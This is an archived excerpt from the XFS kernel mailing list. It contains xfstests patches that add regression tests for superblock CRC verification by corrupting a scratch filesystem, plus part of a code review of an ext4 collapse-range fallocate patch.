Tue, 11 Feb 2014 18:16:44 -0800 (PST) X-ASG-Debug-ID: 1392171403-04cb6c6de22c97c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NCGh5SDm8cBhrKoW for ; Tue, 11 Feb 2014 18:16:44 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1C2GhLK030468 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 11 Feb 2014 21:16:43 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1C2GfaR029793 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 21:16:42 -0500 Message-ID: <52FAD989.6020000@redhat.com> Date: Tue, 11 Feb 2014 20:16:41 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: check that junk in V4 superblocks doesn't break growfs X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: check that junk in V4 superblocks doesn't break growfs Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392171404 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Test that we properly ignore old growfs-induced junk in the unused portion of secondary V4 superblocks; at one point this would trip up the verifiers, and cause a subsequent growfs to fail. Signed-off-by: Eric Sandeen --- diff --git a/tests/xfs/307 b/tests/xfs/307 new file mode 100755 index 0000000..d3c768f --- /dev/null +++ b/tests/xfs/307 @@ -0,0 +1,75 @@ +#! /bin/bash +# FS QA Test No. 307 +# +# Test that garbage in old v4 superblocks doesn't trip verifiers during growfs +# +# Older kernels sometimes left garbage in the unused portions +# of the superblock during growfs; with the new verifiers this initially +# caused failures during a subsequent growfs; see +# 10e6e65 xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb +# for further explanation. (NB: while the commit log was good, the +# patch had a bug which was subsequently fixed) +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux + +_require_scratch +# So we can explicitly turn it _off_: +_require_xfs_mkfs_crc + +rm -f $seqres.full + +_scratch_mkfs_xfs -m crc=0 -d size=128m >> $seqres.full 2>&1 || _fail "mkfs failed" + +# Scribble past a couple V4 secondary superblocks to populate sb_crc +# (We can't write to the structure member because it doesn't exist +# on a v4 superblock, so we use the data type & "write fill") +$XFS_DB_PROG -x -c "sb 1" -c "type data" -c "write fill 0xff 224 4" $SCRATCH_DEV +$XFS_DB_PROG -x -c "sb 2" -c "type data" -c "write fill 0xff 224 4" $SCRATCH_DEV + +_scratch_mount + +# This should pass +$XFS_GROWFS_PROG $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "growfs failed" + +# success, all done +status=0 +exit diff --git a/tests/xfs/307.out b/tests/xfs/307.out new file mode 100644 index 0000000..260c17c --- /dev/null +++ b/tests/xfs/307.out @@ -0,0 +1 @@ +QA output created by 307 diff --git a/tests/xfs/group b/tests/xfs/group index 279ffe2..fbcd3e3 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -186,3 +186,4 @@ 304 auto quick quota 305 auto quota 306 auto stress log metadata repair +307 auto quick growfs From sandeen@redhat.com Tue Feb 11 20:24:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4C23F7F50 for ; Tue, 11 Feb 2014 20:24:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 254BE30406A for ; Tue, 11 Feb 2014 18:24:38 -0800 (PST) X-ASG-Debug-ID: 1392171874-04bdf0734c133d30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FGsUoqQ5KBfM6Qoq for ; Tue, 11 Feb 2014 18:24:35 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1C2OYat001687 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 11 Feb 2014 21:24:34 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1C2OXHe016574 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 21:24:34 -0500 Message-ID: <52FADB61.8020904@redhat.com> Date: Tue, 11 Feb 2014 20:24:33 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: ensure bad primary sb crc fails mount X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: ensure bad primary sb crc fails mount Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392171874 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 the commit: 10e6e65 xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields broke primary sb CRC validation, not erroring out the mount if the crc was bad. This tests that it's fixed, and properly fails the mount on a bad crc. Signed-off-by: Eric Sandeen --- diff --git a/tests/xfs/308 b/tests/xfs/308 new file mode 100755 index 0000000..0806fcd --- /dev/null +++ b/tests/xfs/308 @@ -0,0 +1,66 @@ +#! /bin/bash +# FS QA Test No. 308 +# +# Test that a bad crc on a primary V5 superblock will fail the mount +# +# 10e6e65 xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields +# inadvertently caused primary SB CRC failures to not error out, this +# is a regression test for that fix. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux + +_require_scratch +_require_xfs_mkfs_crc + +rm -f $seqres.full + +_scratch_mkfs_xfs -m crc=1 >> $seqres.full 2>&1 || _fail "mkfs failed" + +# Zap the crc. xfs_db updates the CRC post-write, so poke it directly +$XFS_IO_PROG -c "pwrite 224 4" $SCRATCH_DEV | _filter_xfs_io + +# should FAIL, the crc is bad; golden output contains mount failure +_scratch_mount + +# success, all done +status=0 +exit diff --git a/tests/xfs/308.out b/tests/xfs/308.out new file mode 100644 index 0000000..3d19595 --- /dev/null +++ b/tests/xfs/308.out @@ -0,0 +1,4 @@ +QA output created by 308 +wrote 4/4 bytes at offset 224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +mount: Structure needs cleaning diff --git a/tests/xfs/group b/tests/xfs/group index fbcd3e3..23bc4e9 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -187,3 +187,4 @@ 305 auto quota 306 auto stress log metadata repair 307 auto quick growfs +308 auto quick From sandeen@sandeen.net Tue Feb 11 20:26:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2160A7F50 for ; Tue, 11 Feb 2014 20:26:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8D638AC003 for ; Tue, 11 Feb 2014 18:26:52 -0800 (PST) X-ASG-Debug-ID: 1392172010-04cb6c6de22ca120001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Vw7TZK8JK7r4hLsx for ; Tue, 11 Feb 2014 18:26:50 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id F109965476CE; Tue, 11 Feb 2014 20:26:49 -0600 (CST) Message-ID: <52FADBE9.90101@sandeen.net> Date: Tue, 11 Feb 2014 20:26:49 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V2] xfstests: check that junk in V4 superblocks doesn't break growfs References: <52FAD989.6020000@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfstests: check that junk in V4 superblocks doesn't break growfs In-Reply-To: <52FAD989.6020000@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392172010 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Test that we properly ignore old growfs-induced junk in the unused portion of secondary V4 superblocks; at one point this would trip up the verifiers, and cause a subsequent growfs to fail. Signed-off-by: Eric Sandeen --- V2, fix wrong summary for commit in question, in the test comments diff --git a/tests/xfs/307 b/tests/xfs/307 new file mode 100755 index 0000000..d3c768f --- /dev/null +++ b/tests/xfs/307 @@ -0,0 +1,75 @@ +#! /bin/bash +# FS QA Test No. 307 +# +# Test that garbage in old v4 superblocks doesn't trip verifiers during growfs +# +# Older kernels sometimes left garbage in the unused portions +# of the superblock during growfs; with the new verifiers this initially +# caused failures during a subsequent growfs; see +# 10e6e65 xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields +# for further explanation. (NB: while the commit log was good, the +# patch had a bug which was subsequently fixed) +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux + +_require_scratch +# So we can explicitly turn it _off_: +_require_xfs_mkfs_crc + +rm -f $seqres.full + +_scratch_mkfs_xfs -m crc=0 -d size=128m >> $seqres.full 2>&1 || _fail "mkfs failed" + +# Scribble past a couple V4 secondary superblocks to populate sb_crc +# (We can't write to the structure member because it doesn't exist +# on a v4 superblock, so we use the data type & "write fill") +$XFS_DB_PROG -x -c "sb 1" -c "type data" -c "write fill 0xff 224 4" $SCRATCH_DEV +$XFS_DB_PROG -x -c "sb 2" -c "type data" -c "write fill 0xff 224 4" $SCRATCH_DEV + +_scratch_mount + +# This should pass +$XFS_GROWFS_PROG $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "growfs failed" + +# success, all done +status=0 +exit diff --git a/tests/xfs/307.out b/tests/xfs/307.out new file mode 100644 index 0000000..260c17c --- /dev/null +++ b/tests/xfs/307.out @@ -0,0 +1 @@ +QA output created by 307 diff --git a/tests/xfs/group b/tests/xfs/group index 279ffe2..fbcd3e3 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -186,3 +186,4 @@ 304 auto quick quota 305 auto quota 306 auto stress log metadata repair +307 auto quick growfs _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From linkinjeon@gmail.com Tue Feb 11 20:28:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID, T_FRT_BELOW2 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8CAC77F50 for ; Tue, 11 Feb 2014 20:28:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2C1E2AC013 for ; Tue, 11 Feb 2014 18:28:38 -0800 (PST) X-ASG-Debug-ID: 1392172115-04bdf0121f2e82d0001-NocioJ Received: from mail-qc0-f174.google.com (mail-qc0-f174.google.com [209.85.216.174]) by cuda.sgi.com with ESMTP id RvGahLIPD0ct3mEs (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 18:28:35 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] Received: by mail-qc0-f174.google.com with SMTP id x13so14186172qcv.19 for ; Tue, 11 Feb 2014 18:28:35 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=qsPEM5nHKuY7hXWmjVgsFs8CNCfFPN6SsCOMju8ftJk=; b=O1uhB202Z+EfweqQP0lyXetFRKAfd/UDgMvKg3sssTydNk9b1KzEFQ4SVlEoQ7qMb0 vygMdG4Y33DzI7/jiM7G3u6/u59m3aBTbLkcg981cPF81CwSYalzF7GjfS/AIrqwRcQ5 OyQonuV8mBWQDyfBH/QxIfAan5FvdQYY8WqVkGQw4VID7Wl5PhyZ2X+Xhqq3N3OjiXj2 xKDY3C6h2vElRgZ9jAz2wB6OGhunkf0EEXZd5EMAa+K0D0lEmPBQdrcL9F2qlvCPUgYB bVKFtHgZ6c4eRHEHmqoSpVOF+wPbqqhF1/mrbVoyAjOAQ7hjuDYZcj/jBcv/joRny8Ef L1oA== MIME-Version: 1.0 X-Received: by 10.224.119.147 with SMTP id z19mr63353741qaq.20.1392172115101; Tue, 11 Feb 2014 18:28:35 -0800 (PST) Received: by 10.96.109.102 with HTTP; Tue, 11 Feb 2014 18:28:35 -0800 (PST) In-Reply-To: References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> Date: Wed, 12 Feb 2014 11:28:35 +0900 Message-ID: Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: =?UTF-8?B?THVrw6HFoSBDemVybmVy?= Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qc0-f174.google.com[209.85.216.174] X-Barracuda-Start-Time: 1392172115 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-11 20:59 GMT+09:00, Luk=C3=A1=C5=A1 Czerner : > On Sun, 2 Feb 2014, Namjae Jeon wrote: > >> Date: Sun, 2 Feb 2014 14:44:34 +0900 >> From: Namjae Jeon >> To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, >> tytso@mit.edu, >> adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com >> Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, >> linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, >> Namjae Jeon , Namjae Jeon >> , >> Ashish Sangwan >> Subject: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE >> for >> fallocate >> >> From: Namjae Jeon >> >> Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Hi Lukas. > > Description is missing here, please provide FALLOC_FL_COLLAPSE_RANGE > description so people know what it's supposed to be doing. > > more comments bellow. Okay, I will udpate. > > Thanks! > -Lukas > >> >> Signed-off-by: Namjae Jeon >> Signed-off-by: Ashish Sangwan >> --- >> fs/ext4/ext4.h | 3 + >> fs/ext4/extents.c | 297 >> ++++++++++++++++++++++++++++++++++++++++++- >> fs/ext4/move_extent.c | 2 +- >> include/trace/events/ext4.h | 25 ++++ >> 4 files changed, 325 insertions(+), 2 deletions(-) >> >> diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h >> index e618503..5cc015a 100644 >> --- a/fs/ext4/ext4.h >> +++ b/fs/ext4/ext4.h >> @@ -2745,6 +2745,7 @@ extern int ext4_find_delalloc_cluster(struct inode >> *inode, ext4_lblk_t lblk); >> extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info >> *fieinfo, >> __u64 start, __u64 len); >> extern int ext4_ext_precache(struct inode *inode); >> +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff= _t >> len); >> >> /* move_extent.c */ >> extern void ext4_double_down_write_data_sem(struct inode *first, >> @@ -2754,6 +2755,8 @@ extern void ext4_double_up_write_data_sem(struct >> inode *orig_inode, >> extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, >> __u64 start_orig, __u64 start_donor, >> __u64 len, __u64 *moved_len); >> +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path >> *path, >> + struct ext4_extent **extent); >> >> /* page-io.c */ >> extern int __init ext4_init_pageio(void); >> diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c >> index 267c9fb..12338c1 100644 >> --- a/fs/ext4/extents.c >> +++ b/fs/ext4/extents.c >> @@ -4566,12 +4566,16 @@ long ext4_fallocate(struct file *file, int mode, >> loff_t offset, loff_t len) >> unsigned int credits, blkbits =3D inode->i_blkbits; >> >> /* Return error if mode is not supported */ >> - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) >> + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | >> + FALLOC_FL_COLLAPSE_RANGE)) >> return -EOPNOTSUPP; >> >> if (mode & FALLOC_FL_PUNCH_HOLE) >> return ext4_punch_hole(inode, offset, len); >> >> + if (mode & FALLOC_FL_COLLAPSE_RANGE) >> + return ext4_collapse_range(inode, offset, len); >> + >> ret =3D ext4_convert_inline_data(inode); >> if (ret) >> return ret; >> @@ -4870,3 +4874,294 @@ int ext4_fiemap(struct inode *inode, struct >> fiemap_extent_info *fieinfo, >> ext4_es_lru_add(inode); >> return error; >> } >> + >> +/* >> + * ext4_access_path: >> + * Function to access the path buffer for marking it dirty. >> + * It also checks if there are sufficient credits left in the journal >> handle >> + * to update path. >> + */ >> +static int >> +ext4_access_path(handle_t *handle, struct inode *inode, >> + struct ext4_ext_path *path) >> +{ >> + int credits, err; >> + >> + /* >> + * Check if need to extend journal credits >> + * 3 for leaf, sb, and inode plus 2 (bmap and group >> + * descriptor) for each block group; assume two block >> + * groups >> + */ >> + if (handle->h_buffer_credits < 7) { >> + credits =3D ext4_writepage_trans_blocks(inode); >> + err =3D ext4_ext_truncate_extend_restart(handle, inode, credits); >> + /* EAGAIN is success */ >> + if (err && err !=3D -EAGAIN) >> + return err; >> + } >> + >> + err =3D ext4_ext_get_access(handle, inode, path); >> + return err; >> +} >> + >> +/* >> + * ext4_ext_shift_path_extents: >> + * Shift the extents of a path structure lying between path[depth].p_ex= t >> + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting >> shift >> + * from starting block for each extent. >> + */ >> +static int >> +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t >> shift, >> + struct inode *inode, handle_t *handle, >> + ext4_lblk_t *start) >> +{ >> + int depth, err =3D 0; >> + struct ext4_extent *ex_start, *ex_last; >> + bool update =3D 0; >> + depth =3D path->p_depth; >> + >> + while (depth >=3D 0) { >> + if (depth =3D=3D path->p_depth) { >> + ex_start =3D path[depth].p_ext; >> + if (!ex_start) >> + return -EIO; >> + >> + ex_last =3D EXT_LAST_EXTENT(path[depth].p_hdr); >> + if (!ex_last) >> + return -EIO; >> + >> + err =3D ext4_access_path(handle, inode, path + depth); >> + if (err) >> + goto out; >> + >> + if (ex_start =3D=3D EXT_FIRST_EXTENT(path[depth].p_hdr)) >> + update =3D 1; >> + >> + *start =3D ex_last->ee_block + >> + ext4_ext_get_actual_len(ex_last); >> + >> + while (ex_start <=3D ex_last) { >> + ex_start->ee_block -=3D shift; >> + if (ex_start > >> + EXT_FIRST_EXTENT(path[depth].p_hdr)) { >> + if (ext4_ext_try_to_merge_right(inode, >> + path, ex_start - 1)) >> + ex_last--; >> + } >> + ex_start++; >> + } >> + err =3D ext4_ext_dirty(handle, inode, path + depth); >> + if (err) >> + goto out; >> + >> + if (--depth < 0 || !update) >> + break; >> + } >> + >> + /* Update index too */ >> + err =3D ext4_access_path(handle, inode, path + depth); >> + if (err) >> + goto out; >> + >> + path[depth].p_idx->ei_block -=3D shift; >> + err =3D ext4_ext_dirty(handle, inode, path + depth); >> + if (err) >> + goto out; >> + >> + /* we are done if current index is not a starting index */ >> + if (path[depth].p_idx !=3D EXT_FIRST_INDEX(path[depth].p_hdr)) >> + break; >> + >> + depth--; >> + } >> + >> +out: >> + return err; >> +} >> + >> +/* >> + * ext4_ext_shift_extents: >> + * All the extents which lies in the range from start to the last >> allocated >> + * block for the file are shifted downwards by shift blocks. >> + * On success, 0 is returned, error otherwise. >> + */ >> +static int >> +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, >> + ext4_lblk_t start, ext4_lblk_t shift) >> +{ >> + struct ext4_ext_path *path; >> + int ret =3D 0, depth; >> + struct ext4_extent *extent; >> + ext4_lblk_t stop_block, current_block; >> + ext4_lblk_t ex_start, ex_end; >> + >> + /* Let path point to the last extent */ >> + path =3D ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); >> + if (IS_ERR(path)) >> + return PTR_ERR(path); >> + >> + depth =3D path->p_depth; >> + extent =3D path[depth].p_ext; >> + if (!extent) { >> + ext4_ext_drop_refs(path); >> + kfree(path); >> + return ret; >> + } >> + >> + stop_block =3D extent->ee_block + ext4_ext_get_actual_len(extent); >> + ext4_ext_drop_refs(path); >> + kfree(path); >> + >> + /* Nothing to shift, if hole is at the end of file */ >> + if (start >=3D stop_block) >> + return ret; >> + >> + /* >> + * Don't start shifting extents until we make sure the hole is big >> + * enough to accomodate the shift. >> + */ >> + path =3D ext4_ext_find_extent(inode, start - 1, NULL, 0); >> + depth =3D path->p_depth; >> + extent =3D path[depth].p_ext; >> + ex_start =3D extent->ee_block; >> + ex_end =3D extent->ee_block + ext4_ext_get_actual_len(extent); >> + ext4_ext_drop_refs(path); >> + kfree(path); >> + >> + if ((ex_start > start - 1 && shift > ex_start) || >> + (ex_end > start - shift)) >> + return -EINVAL; >> + >> + /* Its safe to start updating extents */ >> + while (start < stop_block) { >> + path =3D ext4_ext_find_extent(inode, start, NULL, 0); >> + if (IS_ERR(path)) >> + return PTR_ERR(path); >> + depth =3D path->p_depth; >> + extent =3D path[depth].p_ext; >> + current_block =3D extent->ee_block; >> + if (start > current_block) { >> + /* Hole, move to the next extent */ >> + ret =3D mext_next_extent(inode, path, &extent); >> + if (ret !=3D 0) { >> + ext4_ext_drop_refs(path); >> + kfree(path); >> + if (ret =3D=3D 1) >> + ret =3D 0; >> + break; >> + } >> + } >> + ret =3D ext4_ext_shift_path_extents(path, shift, inode, >> + handle, &start); >> + ext4_ext_drop_refs(path); >> + kfree(path); >> + if (ret) >> + break; >> + } >> + >> + return ret; >> +} >> + >> +/* >> + * ext4_collapse_range: >> + * This implements the fallocate's collapse range functionality for ext= 4 >> + * Returns: 0 and non-zero on error. >> + */ >> +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) >> +{ >> + struct super_block *sb =3D inode->i_sb; >> + ext4_lblk_t punch_start, punch_stop; >> + handle_t *handle; >> + unsigned int credits; >> + unsigned int rounding; >> + loff_t ioffset, new_size; >> + int ret; >> + unsigned blksize_mask =3D (1 << inode->i_blkbits) - 1; >> + >> + BUG_ON(offset + len > i_size_read(inode)); > > So if anyone provides offset + len which exceeds the i_size then it > crashes the kernel ? That does not sound right, or am I missing a > check anywhere ? > > Also in the patch 0/3 you're saying that: > > " It wokrs beyond "EOF", so the extents which are pre-allocated > beyond "EOF" are also updated. " > > so which is true ? Again it would be better to have the description > in this patch as well. You might misunderstand by reading old patch-set. please look at this one. https://lkml.org/lkml/2014/2/2/12 Since then, it has been decided to limit collapse range within file size and there is check in VFS patch for this condition. If user wants 